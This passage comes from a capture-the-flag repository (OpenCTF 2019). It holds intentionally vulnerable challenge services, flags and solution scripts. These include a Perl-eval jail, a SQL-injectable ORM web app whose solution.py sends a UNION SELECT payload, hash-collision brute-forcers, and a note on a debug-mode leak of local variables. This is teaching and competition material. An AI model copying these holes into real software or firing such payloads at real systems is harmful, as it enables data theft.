{}\n'.format(p.returncode)) 43 | sys.stdout.flush() 44 | -------------------------------------------------------------------------------- /challenges/jail-2/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM alpine:latest 2 | 3 | WORKDIR / 4 | RUN apk add socat python3 perl 5 | 6 | COPY src/wrapper.py / 7 | ENTRYPOINT ["socat", "-dd", "TCP4-LISTEN:5000,fork,reuseaddr", "EXEC:'./wrapper.py'"] 8 | 9 | EXPOSE 5000 10 | -------------------------------------------------------------------------------- /challenges/jail-2/README.md: -------------------------------------------------------------------------------- 1 | # Jail 2 2 | 3 | ## Score 4 | 94 5 | 6 | ## Description 7 | Maybe part 1 was too easy, or maybe you're good enough that you can reuse your solution. 8 | 9 | ## Category 10 | misc 11 | -------------------------------------------------------------------------------- /challenges/jail-2/SOLUTION.md: -------------------------------------------------------------------------------- 1 | With smaller input lengths and no return code disclosure, the ways to solve this is dramatically lower. My solution: 2 | 3 | echo -n 'die%ENV' | nc ... 4 | 5 | -------------------------------------------------------------------------------- /challenges/jail-2/dist/wrapper.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | import os 4 | import sys 5 | import subprocess 6 | from functools import partial 7 | 8 | flag = 'REDACTED' 9 | max_length = 7 10 | 11 | user_input = '' 12 | while True: 13 | chunk = sys.stdin.read(256) 14 | if not chunk: 15 | break 16 | user_input += chunk 17 | 18 | if len(user_input) > max_length: 19 | print("Length: {}".format(len(user_input))) 20 | print("Too long!") 21 | sys.exit(3) 22 | 23 | prohibited_funcs = ['system', 'exec', 'fork', 'print'] 24 | 25 | for prohibited_func in prohibited_funcs: 26 | if prohibited_func in user_input: 27 | print("No {}!".format(prohibited_func)) 28 | sys.exit(1) 29 | 30 | if '`' in user_input: 31 | print("No backticks!") 32 | sys.exit(2) 33 | 34 | print("Length: {}".format(len(user_input))) 35 | 36 | env = os.environ 37 | env['flag'] = flag 38 | 39 | p = subprocess.run(['perl', '-Mstrict', '-e', user_input], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, env=env) 40 | sys.stdout.buffer.write(p.stdout) 41 | #if p.returncode: 42 | # sys.stdout.write('Process exited: {}\n'.format(p.returncode)) 43 | sys.stdout.flush() 44 | -------------------------------------------------------------------------------- /challenges/jail-2/flag.txt: -------------------------------------------------------------------------------- 1 | flag{join_me_4_the_triumphant_return_of_perl} 2 | -------------------------------------------------------------------------------- /challenges/jail-2/solve.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | echo -n 'die%ENV' | nc -N challenges.openctf.cat 9026 4 | -------------------------------------------------------------------------------- /challenges/jail-2/src/wrapper.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | import os 4 | import sys 5 | import subprocess 6 | from functools import partial 7 | 8 | flag = 'flag{join_me_4_the_triumphant_return_of_perl}' 9 | max_length = 7 10 | 11 | user_input = '' 12 | while True: 13 | chunk = sys.stdin.read(256) 14 | if not chunk: 15 | break 16 | user_input += chunk 17 | 18 | if len(user_input) > max_length: 19 | print("Length: {}".format(len(user_input))) 20 | print("Too long!") 21 | sys.exit(3) 22 | 23 | prohibited_funcs = ['system', 'exec', 'fork', 'print'] 24 | 25 | for prohibited_func in prohibited_funcs: 26 | if prohibited_func in user_input: 27 | print("No {}!".format(prohibited_func)) 28 | sys.exit(1) 29 | 30 | if '`' in user_input: 31 | print("No backticks!") 32 | sys.exit(2) 33 | 34 | print("Length: {}".format(len(user_input))) 35 | 36 | env = os.environ 37 | env['flag'] = flag 38 | 39 | p = subprocess.run(['perl', '-Mstrict', '-e', user_input], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, env=env) 40 | sys.stdout.buffer.write(p.stdout) 41 | #if p.returncode: 42 | # sys.stdout.write('Process exited: {}\n'.format(p.returncode)) 43 | sys.stdout.flush() 44 | -------------------------------------------------------------------------------- /challenges/logfilter3000/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.7 2 | 3 | WORKDIR /code 4 | 5 | COPY ./requirements.txt /code/requirements.txt 6 | 7 | RUN pip3 install -r /code/requirements.txt 8 | 9 | COPY ./simple_orm /code/simple_orm 10 | COPY ./setup.py /code 11 | RUN pip3 install . 12 | 13 | COPY ./web /code/web 14 | WORKDIR /code/web 15 | 16 | CMD ["python3", "./app.py"] 17 | 18 | EXPOSE 5000 19 | -------------------------------------------------------------------------------- /challenges/logfilter3000/README.md: -------------------------------------------------------------------------------- 1 | # logfilter3000 2 | 3 | ## Score 4 | 98 5 | 6 | ## Description 7 | I made this *really* cool log-viewer application! I used an ORM so its *SUPER* secure. 8 | 9 | ## Category 10 | web 11 | -------------------------------------------------------------------------------- /challenges/logfilter3000/SOLUTION.md: -------------------------------------------------------------------------------- 1 | This is a SQL injection challenge and a python knowledge challenge 2 | 3 | You are given the code to a web app and a library that it uses. 4 | 5 | After looking around the code there is one place in the ORM that could be vulnerable to sql injection. 6 | 7 | ```python3 8 | def format_where(self, safe=True): 9 | where_fmts = [] 10 | for key, val in self._where.items(): 11 | if safe: 12 | where_fmts.append("{} = ?".format(key)) 13 | else: 14 | where_fmts.append("{} = {}".format(key, repr(val))) 15 | if where_fmts: 16 | return " WHERE " + " AND ".join(where_fmts) 17 | return "" 18 | ``` 19 | 20 | After you find this you should be able to start with some SQL injection. 21 | The injection point is in the *key* of the query parameters. 22 | 23 | You know that the db is sqlite3 so you can dump the schema from `sqlite_master` 24 | and see that `log_entry` has a hidden column. There is one row that has a value 25 | in that column and it has the id 1337. 26 | 27 | 28 | -------------------------------------------------------------------------------- /challenges/logfilter3000/requirements.txt: -------------------------------------------------------------------------------- 1 | Click==7.0 2 | Flask==1.0.3 3 | itsdangerous==1.1.0 4 | Jinja2==2.10.1 5 | MarkupSafe==1.1.1 6 | python-dateutil==2.8.0 7 | six==1.12.0 8 | Werkzeug==0.15.4 9 | -------------------------------------------------------------------------------- /challenges/logfilter3000/setup.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from distutils.core import setup 4 | 5 | setup(name='SimpleOrm', 6 | version='1.0', 7 | description='A Bad/Simpe Orm', 8 | author='ls_brillant', 9 | author_email='contact@lucienbrillant.com', 10 | packages=['simple_orm'], 11 | ) 12 | -------------------------------------------------------------------------------- /challenges/logfilter3000/simple_orm/__init__.py: -------------------------------------------------------------------------------- 1 | from .storage import SQLite3Storage, SQL, SELECT, INSERT 2 | from .model import model 3 | 4 | 5 | -------------------------------------------------------------------------------- /challenges/logfilter3000/simple_orm/util.py: -------------------------------------------------------------------------------- 1 | import re 2 | 3 | # shout outs to 4 | # https://stackoverflow.com/questions/1175208/elegant-python-function-to-convert-camelcase-to-snake-case 5 | def to_snake_case(name): 6 | s1 = re.sub('(.)([A-Z][a-z]+)', r'\1_\2', name) 7 | return re.sub('([a-z0-9])([A-Z])', r'\1_\2', s1).lower() 8 | 9 | def easy_decorator(decorator): 10 | def _wrap(*args, **kwargs): 11 | if not kwargs and len(args) == 1: 12 | return decorator(args[0]) 13 | else: 14 | def __wrap(f): 15 | return decorator(f, *args, **kwargs) 16 | return __wrap 17 | return _wrap 18 | -------------------------------------------------------------------------------- /challenges/logfilter3000/solution.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import requests 4 | 5 | domain = "127.0.0.1:5000" 6 | url = "http://{domain}/".format(domain=domain) 7 | 8 | r = requests.get(url, params={ 9 | "FALSE UNION SELECT 1, hidden,'', '' FROM log_entry WHERE 1=1 OR 'x'" : "one" 10 | }) 11 | 12 | print(r.text) 13 | -------------------------------------------------------------------------------- /challenges/logfilter3000/tests/sql.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | 3 | from simple_orm import model, SQL, SELECT, INSERT 4 | 5 | 6 | class SQLTestCase(unittest.TestCase): 7 | def test_models_auto_fmt(self): 8 | @model(fields=["id", "data"]) 9 | class TestModel: pass 10 | 11 | sql = SQL(""" 12 | SELECT {TestModel.fields} 13 | FROM {TestModel} 14 | """) 15 | 16 | def test_param_fmts(self): 17 | @model(fields=["id", "data"]) 18 | class TestModel: pass 19 | 20 | sql = SQL(""" 21 | SELECT {TestModel.fields} 22 | FROM {TestModel} 23 | WHERE id = {my_id} 24 | """, my_id=1) 25 | -------------------------------------------------------------------------------- /challenges/logfilter3000/web/app.py: -------------------------------------------------------------------------------- 1 | from flask import Flask, render_template, request, Response, abort 2 | 3 | from datetime import datetime 4 | from uuid import uuid4 5 | import re 6 | 7 | import simple_orm 8 | 9 | app = Flask(__name__) 10 | 11 | 12 | @simple_orm.model() 13 | class LogEntry(object): 14 | sev: int 15 | message: str 16 | type: str 17 | time: datetime 18 | 19 | 20 | 21 | @app.route('/') 22 | def index(): 23 | storage = simple_orm.SQLite3Storage("db.sqlite3") 24 | args = {k:v for k,v in request.args.items() if v} 25 | results = storage.select(LogEntry, **args) 26 | return render_template('index.html', results = results) 27 | 28 | if __name__ == '__main__': 29 | app.run(host="0.0.0.0", port="5000") 30 | -------------------------------------------------------------------------------- /challenges/logfilter3000/web/templates/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 11 | 12 | 13 |
14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | {% for result in results %} 23 | 24 | 25 | 26 | 27 | 28 | 29 | {% endfor %} 30 |
{{ result.sev }}{{ result.message }}{{ result.type }}{{ result.time }}
31 |
32 | 33 | 34 | -------------------------------------------------------------------------------- /challenges/m68hc11/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.7-alpine 2 | 3 | ENV chdir / 4 | 5 | COPY m68hc11_gen.py ${chdir} 6 | COPY opcodes/m68hc11.py ${chdir}/opcodes/ 7 | COPY opcodes/__init__.py ${chdir}/opcodes/ 8 | 9 | WORKDIR ${chdir} 10 | 11 | # UDP port 6811 12 | ENTRYPOINT ["python", "m68hc11_gen.py", "-u"] 13 | #ENTRYPOINT ["/bin/sh"] 14 | 15 | EXPOSE 6811 16 | -------------------------------------------------------------------------------- /challenges/m68hc11/Makefile: -------------------------------------------------------------------------------- 1 | # Makefile for m68hc11 2 | 3 | #THISDIR=$HOME/m68hc11/ 4 | # 5 | #mkdir build-m68hc11 && cd build-m68hc11 6 | #../configure --target=m6811-elf --program-prefix=m6811-elf- 7 | #make -j9 8 | #make install DESTDIR=$THISDIR 9 | 10 | AS=m6811-elf-as 11 | CC=m6811-elf-gcc 12 | LD=m6811-elf-ld 13 | 14 | all: makemyday test1e104 15 | 16 | test1e104: test1e104.o 17 | $(LD) -o $@ $< 18 | 19 | %.o: %.S 20 | $(AS) -o $@ $< -ggdb 21 | 22 | makemyday: makemyday.o 23 | m6811-elf-ld -o makemyday makemyday.o 24 | 25 | -------------------------------------------------------------------------------- /challenges/m68hc11/README.md: -------------------------------------------------------------------------------- 1 | # M68HC11 2 | 3 | *by Javantea* 4 | May 4, 2019 5 | 6 | Score: 100 7 | 8 | Description: 9 | Does the user understand what I mean by M68HC11? They probably do not. It means the whole ISA. We implemented it, so must they! 10 | 11 | Category: misc 12 | 13 | Solution is in solve.py 14 | 15 | -------------------------------------------------------------------------------- /challenges/m68hc11/flag.S: -------------------------------------------------------------------------------- 1 | ror 0x31,x 2 | des 3 | rts 4 | .byte 0x7b 5 | lsr 0x6869 6 | com 0x2069 7 | com 0x206a 8 | .byte 0x75 9 | com 0x7420 10 | .byte 0x61 11 | bra 0x79 12 | .byte 0x65 13 | com 0x7420 14 | clr 0x66,x 15 | bra 0x71 16 | asl 0x65,x 17 | bra 0x76 18 | jmp 0x63,x 19 | .byte 0x72 20 | rol 0x7074 21 | rol 0x6f,x 22 | jmp 0x20,x 23 | tst 0x65,x 24 | lsr 0x686f 25 | lsr 0x20,x 26 | clr 0x66,x 27 | bra 0x79 28 | asl 0x6f,x 29 | rol 0x63,x 30 | .byte 0x65 31 | tst 0x3c 32 | -------------------------------------------------------------------------------- /challenges/m68hc11/flag.bin: -------------------------------------------------------------------------------- 1 | f149{this is just a test of the encryption method of choice} 2 | -------------------------------------------------------------------------------- /challenges/m68hc11/flag.dis: -------------------------------------------------------------------------------- 1 | 2 | flag.bin: file format binary 3 | 4 | 5 | Disassembly of section .data: 6 | 7 | 00000000 <.data>: 8 | 0: 66 31 ror 0x31,x 9 | 2: 34 des 10 | 3: 39 rts 11 | 4: 7b .byte 0x7b 12 | 5: 74 68 69 lsr 0x6869 13 | 8: 73 20 69 com 0x2069 14 | b: 73 20 6a com 0x206a 15 | e: 75 .byte 0x75 16 | f: 73 74 20 com 0x7420 17 | 12: 61 .byte 0x61 18 | 13: 20 74 bra 0x0x89 19 | 15: 65 .byte 0x65 20 | 16: 73 74 20 com 0x7420 21 | 19: 6f 66 clr 0x66,x 22 | 1b: 20 74 bra 0x0x91 23 | 1d: 68 65 asl 0x65,x 24 | 1f: 20 65 bra 0x0x86 25 | 21: 6e 63 jmp 0x63,x 26 | 23: 72 .byte 0x72 27 | 24: 79 70 74 rol 0x7074 28 | 27: 69 6f rol 0x6f,x 29 | 29: 6e 20 jmp 0x20,x 30 | 2b: 6d 65 tst 0x65,x 31 | 2d: 74 68 6f lsr 0x686f 32 | 30: 64 20 lsr 0x20,x 33 | 32: 6f 66 clr 0x66,x 34 | 34: 20 63 bra 0x0x99 35 | 36: 68 6f asl 0x6f,x 36 | 38: 69 63 rol 0x63,x 37 | 3a: 65 .byte 0x65 38 | 3b: tst Address 0x000000000000003c is out of bounds. 39 | 40 | -------------------------------------------------------------------------------- /challenges/m68hc11/flag.solve.S: -------------------------------------------------------------------------------- 1 | # flag.S 2 | ror 0x31,x 3 | des 4 | rts 5 | ble 0x74 6 | asl 0x69,x 7 | txs 8 | bra 0x69 9 | com 0x6a20 10 | inc 0x7c7f 11 | txs 12 | lsr 0x6120 13 | bra 0x74 14 | pulb 15 | txs 16 | pshb 17 | bra 0x6f 18 | ror 0x20,x 19 | pshb 20 | asl 0x65,x 21 | bra 0x65 22 | jmp 0x63,x 23 | inc 0x7932 24 | neg 0x6974 25 | clr 0x6e,x 26 | bra 0x6d 27 | pulb 28 | lsr 0x6f68 29 | lsr 0x20,x 30 | clr 0x66,x 31 | bra 0x63 32 | asla 33 | clr 0x69,x 34 | com 0x65,x 35 | tst 0xffff 36 | 37 | # You wonderful hacker -------------------------------------------------------------------------------- /challenges/m68hc11/flag.solve.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/m68hc11/flag.solve.bin -------------------------------------------------------------------------------- /challenges/m68hc11/flag.txt: -------------------------------------------------------------------------------- 1 | f149/thi5 isj ||\x7f5ta t357 of 7he enc|y2piton m3tohd of cHoice} 2 | -------------------------------------------------------------------------------- /challenges/m68hc11/makemyday: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/m68hc11/makemyday -------------------------------------------------------------------------------- /challenges/m68hc11/makemyday.S: -------------------------------------------------------------------------------- 1 | test 2 | test 3 | test 4 | test 5 | test 6 | test 7 | test 8 | test 9 | test 10 | test 11 | test 12 | test 13 | test 14 | test 15 | test 16 | test 17 | -------------------------------------------------------------------------------- /challenges/m68hc11/opcodes/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/m68hc11/opcodes/__init__.py -------------------------------------------------------------------------------- /challenges/m68hc11/solve.py: -------------------------------------------------------------------------------- 1 | """ 2 | M68HC11 Solution 3 | by Javantea 4 | July 20, 2019 5 | """ 6 | import m68hc11_gen 7 | import socket 8 | 9 | data = b'' 10 | 11 | for i in m68hc11_gen.bytes_available: 12 | data += bytes([i]) 13 | 14 | for i in m68hc11_gen.words_available: 15 | data += bytes([i, 0, 0]) 16 | 17 | for i in m68hc11_gen.triples_available: 18 | data += bytes([i, 0, 0]) 19 | 20 | print(data) 21 | 22 | host, port = 'challenges.openctf.cat', 9012 23 | 24 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 25 | s.sendto(data, (host, port)) 26 | #print(s.recvfrom(1024)) 27 | 28 | #print(s.recvfrom(1024)) 29 | a = (b'', None) 30 | while not a[0].startswith(b'# flag.S'): 31 | a = s.recvfrom(1024) 32 | print(a) 33 | 34 | (b'# flag.S\nrolb\nclr 0x75,x\nbra 0x77\nclr 0x6f,x\nlsr 0x65,x\n.byte 0x72\nror 0x75,x\ninc 0x20,x\nasl 0x61,x\ncom 0x6b,x\npulb\nincb\npula\nror 0x11,x\ndes\ndaa\nble 0x74\nasl 0x69,x\ntxs\nbrn 0x69\ncom 0x6b20\ninc 0x7c5f\ntxs\nlsr 0x6100\nbra 0x74\npulb\ncom 0x2074\nclr 0x66,x\nbra 0x74\nasl 0x65,x\nbra 0x33\njmp 0x63,x\n.byte 0x72\nrol 0x7470\nrol 0x6f,x\njmp 0x20,x\ntst 0x65,x\nlsr 0x6f69\nlsr 0x20,x\ntsx\nror 0x20,x\ncom 0x68,x\nclr 0x49,x\ncom 0x32,x\ntst 0xffff\n', ('127.0.0.1', 6811)) 35 | 36 | open('flag.solve.S','wb').write(a[0]) 37 | 38 | print('~/src/binutils-2.32/build-m68hc11/gas/as-new -o flag.solve.bin flag.solve.S') 39 | print('hexdump -C flag.solve.bin |less') 40 | print('remember to use python encoding for the unprintable 7f') 41 | -------------------------------------------------------------------------------- /challenges/m68hc11/test1e104: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neg9/OpenCTF-2019/0e175faf8bea521047489a45673c2ca091c30449/challenges/m68hc11/test1e104 -------------------------------------------------------------------------------- /challenges/m68hc11/test1e104.S: -------------------------------------------------------------------------------- 1 | # test1e104.S 2 | ror 0x31,x 3 | des 4 | rts 5 | ble 0x74 6 | asl 0x69,x 7 | txs 8 | bra 0x69 9 | com 0x6a20 10 | inc 0x7c7f 11 | txs 12 | lsr 0x6120 13 | bra 0x74 14 | pulb 15 | txs 16 | pshb 17 | bra 0x6f 18 | ror 0x20,x 19 | pshb 20 | asl 0x65,x 21 | bra 0x65 22 | jmp 0x63,x 23 | inc 0x7932 24 | neg 0x6974 25 | clr 0x6e,x 26 | bra 0x6d 27 | pulb 28 | lsr 0x6f68 29 | lsr 0x20,x 30 | clr 0x66,x 31 | bra 0x63 32 | asla 33 | clr 0x69,x 34 | com 0x65,x 35 | tst 0xffff 36 | -------------------------------------------------------------------------------- /challenges/megahash101/Dockerfile: -------------------------------------------------------------------------------- 1 | #FROM alpine:latest 2 | FROM ubuntu:18.04 3 | 4 | ENV USER hash101 5 | 6 | WORKDIR /home/$USER 7 | 8 | # ubuntu 9 | RUN useradd $USER 10 | RUN apt-get update 11 | RUN apt-get dist-upgrade -y 12 | RUN apt-get install -y python3 python3-webpy 13 | 14 | # alpine 15 | #RUN adduser -D $USER 16 | #RUN apk add python3 17 | 18 | COPY dist/MegaHash.py /home/$USER/ 19 | COPY dist/WebServer.py /home/$USER/ 20 | COPY flag.txt /home/$USER/ 21 | 22 | # make sure all files owned by root (but readable by user) 23 | # allow read and list files in the directory, but not create or delete files 24 | RUN chown -R root:$USER /home/$USER 25 | RUN find /home/$USER -type d -exec chmod 550 {} \; 26 | RUN chmod 440 /home/$USER/* 27 | 28 | USER $USER 29 | 30 | ENTRYPOINT ["/usr/bin/python3", "-u", "/home/hash101/WebServer.py"] 31 | 32 | EXPOSE 8000 33 | 34 | -------------------------------------------------------------------------------- /challenges/megahash101/README.md: -------------------------------------------------------------------------------- 1 | name: MegaHash101 2 | category: crypto 3 | author: AnthraX101 4 | final score: 10 points 5 | 6 | 7 | ## Overview 8 | 9 | This challenge asks you to attack a chained cipher that is a sequence of a large number of cryptographic hash algorithms. 10 | 11 | Connect to the web server. This challenge asks you to find a practical cryptographic collision in the chain. 12 | 13 | 14 | ## Build 15 | 16 | Use Python 3.7 and either: 17 | pip install web.py==0.40-dev1 18 | Or for Ubuntu/Docker: 19 | apt-get install -y python3-webpy 20 | 21 | ## Run 22 | 23 | Use python 3.7 only. 24 | -------------------------------------------------------------------------------- /challenges/megahash101/flag.txt: -------------------------------------------------------------------------------- 1 | flag{with_cryptogr@phy_no_amount_0f_violence_will_3ver_solve_a_math_problem} 2 | -------------------------------------------------------------------------------- /challenges/megahash101/solution/SOLUTION.md: -------------------------------------------------------------------------------- 1 | For this challenge, you didn't even need to understand the vulnerability. If you implemented a simple collision finder, it would magically work a -lot- sooner then you would think it should. 2 | 3 | The vulnerability is this line: 4 | 5 | #TODO: Investigate. Runtime error says: 6 | # TypeError: Required argument 'length' (pos 1) not found 7 | intermediateHash = algorithm.digest(length = 2) 8 | 9 | This selected a 16-bit hash length for the SHAKE step of MegaHash, limiting it to 65536 possible outputs. 10 | 11 | 101 asks you to perform a simple collision, this is intended to be solved by simple offline brute force. This code just throws them all into a single dictionary and reports the first two that match. 12 | 13 | UNINTENDED SOLUTION: It turns out by default web.py is in debug mode, and you explictly have to turn that off by setting 'web.config.debug = False'. Originally the challenge didn't do that, so putting Unicode that can't be ASCII encoded into the form would cause the web server to crash and give you all local variables, including the flag. This bug was fixed around 3pm on Saturday. Thanks to team IE6 for reporting this unintended solution. 14 | 15 | ## RUN 16 | 17 | Does not requre updates based on server. 18 | 19 | Run solution.py. Use the two collision outputs as the webserver input. -------------------------------------------------------------------------------- /challenges/megahash101/solution/solution.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | import sys, os 4 | sys.path.append(os.path.join(os.path.dirname(__file__), '../dist')) 5 | from MegaHash import MegaHash 6 | 7 | import hashlib 8 | import time 9 | import itertools, string 10 | 11 | print("Start at: " + str(time.time())) 12 | start = time.time() 13 | 14 | collision_dictionary = {} 15 | 16 | #Repeat = length of string for brute force 17 | for inputArray in itertools.product(string.ascii_uppercase, repeat=5): 18 | input = ''.join(inputArray) 19 | hash = MegaHash.hash(input.encode('ASCII')) 20 | if hash in collision_dictionary: 21 | print("Collision found with inputs " + input + " and " + collision_dictionary[hash] + ".\nThis gives hash " + hash.hex() + " after " + str(len(collision_dictionary)) + " attempts.") 22 | 23 | break 24 | else: 25 | collision_dictionary[hash] = input 26 | 27 | print("End at: " + str(time.time())) 28 | print("Elapsed " + str(time.time() - start) + " seconds.") 29 | -------------------------------------------------------------------------------- /challenges/megahash102/Dockerfile: -------------------------------------------------------------------------------- 1 | #FROM alpine:latest 2 | FROM ubuntu:18.04 3 | 4 | ENV USER hash102 5 | 6 | WORKDIR /home/$USER 7 | 8 | # ubuntu 9 | RUN useradd $USER 10 | RUN apt-get update 11 | RUN apt-get dist-upgrade -y 12 | RUN apt-get install -y python3 python3-webpy 13 | 14 | # alpine 15 | #RUN adduser -D $USER 16 | #RUN apk add python3 17 | 18 | COPY dist/MegaHash.py /home/$USER/ 19 | COPY solution/RealWebServer.py /home/$USER/ 20 | COPY flag.txt /home/$USER/ 21 | 22 | # make sure all files owned by root (but readable by user) 23 | # allow read and list files in the directory, but not create or delete files 24 | RUN chown -R root:$USER /home/$USER 25 | RUN find /home/$USER -type d -exec chmod 550 {} \; 26 | RUN chmod 440 /home/$USER/* 27 | 28 | USER $USER 29 | 30 | ENTRYPOINT ["/usr/bin/python3", "-u", "/home/hash102/RealWebServer.py"] 31 | 32 | EXPOSE 8000 33 | 34 | -------------------------------------------------------------------------------- /challenges/megahash102/README.md: -------------------------------------------------------------------------------- 1 | name: MegaHash102 2 | category: crypto 3 | author: AnthraX101 4 | final score: 52 points 5 | 6 | 7 | ## Overview 8 | 9 | This challenge asks you to attack a chained cipher that is a sequence of a large number of cryptographic hash algorithms. 10 | 11 | Connect to the web server. This challenge asks you to find a second preimage that matches a given hash value. 12 | 13 | 14 | ## Build 15 | 16 | Use Python 3.7 and either: 17 | pip install web.py==0.40-dev1 18 | Or for Ubuntu/Docker: 19 | apt-get install -y python3-webpy 20 | 21 | ## Run 22 | 23 | Use RealWebServer.py, -not- WebServer.py. RealWebServer hardcodes the CSPRNG so different instances don't have different target hashes. 24 | 25 | Use python 3.7 only. 26 | -------------------------------------------------------------------------------- /challenges/megahash102/dist/WebServer.py: -------------------------------------------------------------------------------- 1 | #pip install web.py==0.40-dev1 2 | import web 3 | from MegaHash import MegaHash 4 | import os 5 | 6 | urls = ( 7 | '/', 'index' 8 | ) 9 | 10 | targetHash = MegaHash.hash(os.urandom(128).hex()) 11 | 12 | flag = open("flag.txt", "r").read() 13 | 14 | class index: 15 | def GET(self): 16 | password = web.input().get('password') 17 | if(password is None): 18 | return "Welcome to MegaHash 102. The password's hash is " + targetHash.hex() + '.

Good luck, you\'ll need it!' 19 | else: 20 | calculatedHash = MegaHash.hash(password.encode('ASCII')) 21 | if(targetHash == calculatedHash): 22 | return "Correct! Your flag is: " + flag 23 | else: 24 | return "Incorrect hash. Calculated hash is " + calculatedHash.hex() + "." 25 | 26 | 27 | app = web.application(urls, globals(), True) 28 | 29 | if __name__ == "__main__": 30 | 31 | #Listen on port 8000. 32 | import sys 33 | sys.argv.append('8000') 34 | 35 | app.run() 36 | 37 | -------------------------------------------------------------------------------- /challenges/megahash102/flag.txt: -------------------------------------------------------------------------------- 1 | flag{2nd_preimages_4_fun_&_pr0fit} 2 | -------------------------------------------------------------------------------- /challenges/megahash102/solution/SOLUTION.md: -------------------------------------------------------------------------------- 1 | For this challenge, you didn't even need to understand the vulnerability. If you implemented a simple brute force search, it would magically work a -lot- sooner then you would think it should. 2 | 3 | 102 asks you to perform a simple 2nd preimage, this is intended to be solved by simple offline brute force for the original output. This is solvable due to the 16-bit pigeon hole. 4 | 5 | RealWebServer.py hardcodes the 'random' challenge key so that different docker instances don't result in different challenge hashes. 6 | 7 | UNINTENDED SOLUTION: It turns out by default web.py is in debug mode, and you explictly have to turn that off by setting 'web.config.debug = False'. Originally the challenge didn't do that, so putting Unicode that can't be ASCII encoded into the form would cause the web server to crash and give you all local variables, including the flag. This bug was fixed around 3pm on Saturday. Thanks to team IE6 for reporting this unintended solution. 8 | 9 | ## RUN 10 | 11 | To use the solution against a different input, replace line 13 (targetHash) with the challenge hash. 12 | 13 | Paste the returned string as the solution into the webserver. -------------------------------------------------------------------------------- /challenges/megahash102/solution/solution.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | import sys, os 4 | sys.path.append(os.path.join(os.path.dirname(__file__), '../dist')) 5 | from MegaHash import MegaHash 6 | 7 | import hashlib 8 | import time 9 | import itertools, string 10 | 11 | print(hashlib.algorithms_available) 12 | print(sys.version) 13 | 14 | targetHash = bytearray.fromhex('6d64392c0c148bb762667c24afcd516a16aa6a05314a0026ad7dd2be29a1dee906780bb2c38fab0350f24dbd5feb5489093e698b578319a0beac3dbcb398efa2') 15 | 16 | print("Start at: " + str(time.time())) 17 | start = time.time() 18 | 19 | #Repeat = length of string for brute force 20 | for inputArray in itertools.product(string.ascii_uppercase, repeat=5): 21 | input = ''.join(inputArray) 22 | if(MegaHash.hash(input.encode('ASCII')) == targetHash): 23 | break; 24 | 25 | #Oh Python scopes, you so crazy.... 26 | print("Colliding string: " + input) 27 | print("End at: " + str(time.time())) 28 | print("Elapsed " + str(time.time() - start) + " seconds.") 29 | -------------------------------------------------------------------------------- /challenges/megahash201/Dockerfile: -------------------------------------------------------------------------------- 1 | #FROM alpine:latest 2 | FROM ubuntu:18.04 3 | 4 | ENV USER hash201 5 | 6 | WORKDIR /home/$USER 7 | 8 | # ubuntu 9 | RUN useradd $USER 10 | RUN apt-get update 11 | RUN apt-get dist-upgrade -y 12 | RUN apt-get install -y python3 python3-webpy 13 | 14 | # alpine 15 | #RUN adduser -D $USER 16 | #RUN apk add python3 17 | 18 | COPY dist/MegaHash.py /home/$USER/ 19 | COPY solution/RealWebServer.py /home/$USER/ 20 | COPY flag.txt /home/$USER/ 21 | 22 | # make sure all files owned by root (but readable by user) 23 | # allow read and list files in the directory, but not create or delete files 24 | RUN chown -R root:$USER /home/$USER 25 | RUN find /home/$USER -type d -exec chmod 550 {} \; 26 | RUN chmod 440 /home/$USER/* 27 | 28 | USER $USER 29 | 30 | ENTRYPOINT ["/usr/bin/python3", "-u", "/home/hash201/RealWebServer.py"] 31 | 32 | EXPOSE 8000 33 | 34 | -------------------------------------------------------------------------------- /challenges/megahash201/README.md: -------------------------------------------------------------------------------- 1 | name: MegaHash201 2 | category: crypto 3 | author: AnthraX101 4 | final score: 94 points 5 | 6 | 7 | ## Overview 8 | 9 | This challenge asks you to attack a chained cipher that is a sequence of a large number of cryptographic hash algorithms. 10 | 11 | Connect to the web server. This challenge asks you to find a second input that matches a given HMAC output, with unknown HMAC key. 12 | 13 | 14 | ## Build 15 | 16 | Use Python 3.7 and either: 17 | pip install web.py==0.40-dev1 18 | Or for Ubuntu/Docker: 19 | apt-get install -y python3-webpy 20 | 21 | ## Run 22 | 23 | Use RealWebServer.py, -not- WebServer.py. RealWebServer hardcodes the CSPRNG so different instances don't have different target hashes or HMAC keys. 24 | 25 | Use python 3.7 only. 26 | -------------------------------------------------------------------------------- /challenges/megahash201/flag.txt: -------------------------------------------------------------------------------- 1 | flag{16_b1ts_sh0uld_be_3nough_4_anyb0dy} 2 | -------------------------------------------------------------------------------- /challenges/megahash301/Dockerfile: -------------------------------------------------------------------------------- 1 | #FROM alpine:latest 2 | FROM ubuntu:18.04 3 | 4 | ENV USER hash301 5 | 6 | WORKDIR /home/$USER 7 | 8 | # ubuntu 9 | RUN useradd $USER 10 | RUN apt-get update 11 | RUN apt-get dist-upgrade -y 12 | RUN apt-get install -y python3 python3-webpy 13 | 14 | # alpine 15 | #RUN adduser -D $USER 16 | #RUN apk add python3 17 | 18 | COPY dist/MegaHash.py /home/$USER/ 19 | COPY dist/sha1.js /home/$USER/ 20 | COPY 